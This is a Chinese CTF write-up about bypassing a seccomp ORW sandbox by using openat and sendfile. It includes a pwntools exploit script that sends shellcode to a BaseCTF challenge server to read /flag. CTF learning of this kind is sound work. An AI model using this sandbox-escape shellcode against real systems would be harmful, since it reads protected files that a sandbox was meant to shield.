seccomp查看程序发现禁用了orw和execve
open被ban了可以用openat代替,write没了可以用puts代替,read可以用readv等代替,虽然比较麻烦就是了...
今天推荐另外一个系统调用sendfile
,sendfile函数兼具了ORW中read和write的功能
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
sendfile是一个用于在文件描述符之间高效传输数据的系统调用,它在两个文件描述符之间传输数据而不需要在用户空间进行数据缓冲,从而提高性能。
out_fd表示的是目标文件描述符。数据将被写入到这个文件描述符,一般来是stdout,用于输出到屏幕,可以粗略理解为write的fd
in_fd是源文件描述符,数据将从这个文件描述符读取,可以粗略理解为read的fd为3的情况
offset就是从文件内容offset字节处开始读取
count就是读取的字节数n_bytes
搓一个汇编出来直接执行
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('challenge.basectf.fun', 35776)
#p=process('./orz')
#p=gdb.debug('./orz','b main')
elf = ELF('./orz')
#libc=ELF('./libc.so.6')
def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out #将str转换为十六进制数,并在开头补上"0x"
shellcode=f"""
xor rsi,rsi;
mov rbx,{convert_str_asmencode("/flag")};
push rbx;
mov rdx,0; #设置oflag为0
mov r10,0;
mov rdi,3; #文件描述符3
mov rsi,rsp
mov eax,257; #openat的系统调用号
syscall;
mov rsi,3; #in_fd
mov r10,50; #n_bytes
xor rdx,rdx;
mov rdi,rdx;
inc rdi; #out_fd
mov eax,40; #sendfile的系统调用号
syscall;
mov rdi,0;
mov rax,60; #exit
syscall
"""
payload1 =asm(shellcode)
p.send(payload1)
p.interactive()
原文始发于微信公众号(智佳网络安全):【PWN】ORW沙箱绕过
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论